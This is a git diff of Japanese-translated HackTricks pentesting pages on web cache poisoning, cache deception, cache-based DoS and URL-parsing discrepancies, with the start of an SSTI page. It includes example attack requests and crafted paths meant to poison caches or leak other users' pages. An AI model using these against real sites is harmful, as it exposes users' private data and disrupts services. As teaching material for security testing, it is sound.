GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートしていました。
|
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
|
||||||
|
|
||||||
### Rackミドルウェア(Ruby on Rails)
|
### Rackミドルウェア(Ruby on Rails)
|
||||||
|
|
||||||
|
@ -188,19 +193,19 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利
|
||||||
|
|
||||||
### 403とストレージバケット
|
### 403とストレージバケット
|
||||||
|
|
||||||
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
|
Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
|
||||||
|
|
||||||
### キー付きパラメータの注入
|
### キー付きパラメータの注入
|
||||||
|
|
||||||
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
|
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、URLエンコードされたバージョンのパラメータ(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
|
||||||
|
|
||||||
### ユーザーエージェントルール
|
### ユーザーエージェントルール
|
||||||
|
|
||||||
一部の開発者は、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
|
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
|
||||||
|
|
||||||
### 不正なヘッダーフィールド
|
### 不正なヘッダーフィールド
|
||||||
|
|
||||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
|
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
|
||||||
|
|
||||||
### 新しいヘッダーの発見
|
### 新しいヘッダーの発見
|
||||||
|
|
||||||
|
@ -208,26 +213,26 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
|
||||||
|
|
||||||
## キャッシュデセプション
|
## キャッシュデセプション
|
||||||
|
|
||||||
キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
|
キャッシュデセプションの目的は、クライアントに**キャッシュによって保存される敏感な情報を持つリソースを読み込ませる**ことです。
|
||||||
|
|
||||||
まず、**.css**、**.js**、**.png**などの**拡張子**は通常、**キャッシュに保存されるように**設定されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**のユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
|
まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_www.example.com/profile.php_に保存された**敏感な**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
|
||||||
|
|
||||||
テストする他の項目:
|
他にテストすること:
|
||||||
|
|
||||||
* _www.example.com/profile.php/.js_
|
* _www.example.com/profile.php/.js_
|
||||||
* _www.example.com/profile.php/.css_
|
* _www.example.com/profile.php/.css_
|
||||||
* _www.example.com/profile.php/test.js_
|
* _www.example.com/profile.php/test.js_
|
||||||
* _www.example.com/profile.php/../test.js_
|
* _www.example.com/profile.php/../test.js_
|
||||||
* _www.example.com/profile.php/%2e%2e/test.js_
|
* _www.example.com/profile.php/%2e%2e/test.js_
|
||||||
* _あまり知られていない拡張子(例:_`.avif`_)を使用する_
|
* _あまり知られていない拡張子(例:`.avif`)を使用する_
|
||||||
|
|
||||||
非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
非常に明確な別の例は、この書き込みで見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||||
この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
|
この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの敏感な情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
|
||||||
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
|
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
|
||||||
|
|
||||||
**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
|
**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
|
||||||
|
|
||||||
[HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)についてここで学びます。
|
[HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。
|
||||||
|
|
||||||
## 自動ツール
|
## 自動ツール
|
||||||
|
|
||||||
|
@ -245,22 +250,22 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
|
||||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによってパワーアップされた**ワークフローを簡単に構築し、自動化**します。\
|
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
|
||||||
今すぐアクセスを取得:
|
今すぐアクセスを取得:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricksをサポートする</summary>
|
<summary>HackTricksをサポートする</summary>
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Cache Poisoning to DoS
|
# Cache Poisoning to DoS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。
|
このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **HTTPヘッダーオーバーサイズ (HHO)**
|
* **HTTP Header Oversize (HHO)**
|
||||||
|
|
||||||
ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります:
|
ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります:
|
||||||
```
|
```
|
||||||
|
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
||||||
```
|
```
|
||||||
* **HTTPメタキャラクター (HMC) と予期しない値**
|
* **HTTPメタキャラクター (HMC) と予期しない値**
|
||||||
|
|
||||||
` \n ` や ` \r ` のような **有害なメタキャラクター** を含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。
|
**有害なメタキャラクター**を含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Host: redacted.com
|
Host: redacted.com
|
||||||
|
@ -38,7 +38,7 @@ X-Meta-Hedear:Bad Chars\n \r
|
||||||
A badly configured header could be just `\:` as a header.
|
A badly configured header could be just `\:` as a header.
|
||||||
|
|
||||||
This could also work if unexpected values are sent, like an unexpected Content-Type:
|
This could also work if unexpected values are sent, like an unexpected Content-Type:
|
||||||
不適切に構成されたヘッダーは、単に `\:` として存在する可能性があります。
|
悪く構成されたヘッダーは、単に `\:` としてヘッダーになる可能性があります。
|
||||||
|
|
||||||
予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。
|
予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。
|
||||||
```
|
```
|
||||||
|
@ -80,7 +80,7 @@ Cache: miss
|
||||||
```
|
```
|
||||||
* **ロングリダイレクトDoS**
|
* **ロングリダイレクトDoS**
|
||||||
|
|
||||||
次の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにしてエラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります:
|
以下の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにし、エラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります:
|
||||||
```
|
```
|
||||||
GET /login?x=veryLongUrl HTTP/1.1
|
GET /login?x=veryLongUrl HTTP/1.1
|
||||||
Host: www.cloudflare.com
|
Host: www.cloudflare.com
|
||||||
|
@ -140,8 +140,8 @@ Cache: hit
|
||||||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -149,7 +149,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -0,0 +1,79 @@
|
||||||
|
# URLの不一致によるキャッシュポイズニング
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricksをサポートする</summary>
|
||||||
|
|
||||||
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
これは、キャッシュプロキシとウェブサーバー間の不一致を悪用してキャッシュポイズニング攻撃を実行するために提案された技術の要約です。**[https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all)**
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
この攻撃の目的は、**キャッシュサーバーに静的リソースが読み込まれていると誤認させること**です。これにより、キャッシュサーバーはパスの一部をキャッシュキーとして保存し、ウェブサーバーは別のパスを解決して応答します。ウェブサーバーは、ユーザーに関する機密情報や、XSSのような悪意のあるペイロード、または攻撃者のウェブサイトからJSファイルを読み込むためのリダイレクトを含む動的ページを読み込む実際のパスを解決します。
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## デリミタ
|
||||||
|
|
||||||
|
**URLデリミタ**はフレームワークやサーバーによって異なり、リクエストのルーティングやレスポンスの処理に影響を与えます。一般的なオリジンデリミタには以下があります:
|
||||||
|
|
||||||
|
* **セミコロン**:Springでマトリックス変数に使用されます(例:`/hello;var=a/world;var1=b;var2=c` → `/hello/world`)。
|
||||||
|
* **ドット**:Ruby on Railsでレスポンス形式を指定します(例:`/MyAccount.css` → `/MyAccount`)。
|
||||||
|
* **ヌルバイト**:OpenLiteSpeedでパスを切り詰めます(例:`/MyAccount%00aaa` → `/MyAccount`)。
|
||||||
|
* **ニューラインバイト**:NginxでURLコンポーネントを分離します(例:`/users/MyAccount%0aaaa` → `/account/MyAccount`)。
|
||||||
|
|
||||||
|
このプロセスに従って他の特定のデリミタが見つかるかもしれません:
|
||||||
|
|
||||||
|
* **ステップ1**:キャッシュ不可のリクエストを特定し、それを使用して潜在的なデリミタを含むURLがどのように処理されるかを監視します。
|
||||||
|
* **ステップ2**:パスにランダムなサフィックスを追加し、サーバーの応答を比較して、文字がデリミタとして機能するかどうかを判断します。
|
||||||
|
* **ステップ3**:ランダムなサフィックスの前に潜在的なデリミタを導入し、応答が変わるかどうかを確認して、デリミタの使用を示します。
|
||||||
|
|
||||||
|
## 正規化とエンコーディング
|
||||||
|
|
||||||
|
* **目的**:キャッシュサーバーとオリジンサーバーのURLパーサーは、エンドポイントマッピングとキャッシュキーのためにパスを抽出するためにURLを正規化します。
|
||||||
|
* **プロセス**:パスデリミタを特定し、文字をデコードしてドットセグメントを削除することでパスを抽出し、正規化します。
|
||||||
|
|
||||||
|
### **エンコーディング**
|
||||||
|
|
||||||
|
異なるHTTPサーバーやプロキシ(Nginx、Node、CloudFrontなど)は、デリミタを異なる方法でデコードし、CDNやオリジンサーバー間で不一致を引き起こす可能性があります。例えば、ウェブサーバーがこの変換を行う場合、`/myAccount%3Fparam` → `/myAccount?param`ですが、キャッシュサーバーはパス`/myAccount%3Fparam`をキーとして保持する場合、不一致が生じます。
|
||||||
|
|
||||||
|
これらの不一致を確認する方法は、パスをエンコーディングなしで読み込んだ後、異なる文字をURLエンコーディングしてリクエストを送信し、エンコードされたパスの応答がキャッシュされた応答から来たかどうかを確認することです。
|
||||||
|
|
||||||
|
### ドットセグメント
|
||||||
|
|
||||||
|
ドットが関与するパスの正規化は、キャッシュポイズニング攻撃にとって非常に興味深いです。例えば、`/static/../home/index`や`/aaa..\home/index`のように、一部のキャッシュサーバーはこれらのパスをそれ自体をキーとしてキャッシュしますが、他のサーバーはパスを解決し、`/home/index`をキャッシュキーとして使用するかもしれません。\
|
||||||
|
以前と同様に、これらのリクエストを送信し、応答がキャッシュから取得されたかどうかを確認することで、`/home/index`への応答がこれらのパスがリクエストされたときに送信された応答であるかどうかを特定するのに役立ちます。
|
||||||
|
|
||||||
|
## 静的リソース
|
||||||
|
|
||||||
|
いくつかのキャッシュサーバーは、応答が静的であると特定された場合、常に応答をキャッシュします。これは以下の理由によるかもしれません:
|
||||||
|
|
||||||
|
* **拡張子**:Cloudflareは、以下の拡張子を持つファイルを常にキャッシュします:7z、csv、gif、midi、png、tif、zip、avi、doc、gz、mkv、ppt、tiff、zst、avif、docx、ico、mp3、pptx、ttf、apk、dmg、iso、mp4、ps、webm、bin、ejs、jar、ogg、rar、webp、bmp、eot、jpg、otf、svg、woff、bz2、eps、jpeg、pdf、svgz、woff2、class、exe、js、pict、swf、xls、css、flac、mid、pls、tar、xlsx
|
||||||
|
* デリミタと静的拡張子を使用して動的応答をキャッシュさせることが可能です。例えば、`/home$image.png`へのリクエストは`/home$image.png`をキャッシュし、オリジンサーバーは`/home`で応答します。
|
||||||
|
* **よく知られた静的ディレクトリ**:以下のディレクトリには静的ファイルが含まれているため、その応答はキャッシュされるべきです:/static、/assets、/wp-content、/media、/templates、/public、/shared
|
||||||
|
* デリミタ、静的ディレクトリ、ドットを使用して動的応答をキャッシュさせることが可能です。例えば、`/home/..%2fstatic/something`は`/static/something`をキャッシュし、応答は`/home`になります。
|
||||||
|
* **静的ディレクトリ + ドット**:`/static/..%2Fhome`や`/static/..%5Chome`へのリクエストはそのままキャッシュされるかもしれませんが、応答は`/home`かもしれません。
|
||||||
|
* **静的ファイル**:`/robots.txt`、`/favicon.ico`、`/index.html`のような特定のファイルは常にキャッシュされます。これを悪用することができ、例えば`/home/..%2Frobots.txt`では、キャッシュが`/robots.txt`を保存し、オリジンサーバーは`/home`に応答します。
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricksをサポートする</summary>
|
||||||
|
|
||||||
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
|
@ -1,8 +1,8 @@
|
||||||
# SSTI (Server Side Template Injection)
|
# SSTI (Server Side Template Injection)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -25,17 +25,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。
|
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。
|
||||||
|
|
||||||
Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
|
||||||
```python
|
```python
|
||||||
output = template.render(name=request.args.get('name'))
|
output = template.render(name=request.args.get('name'))
|
||||||
```
|
```
|
||||||
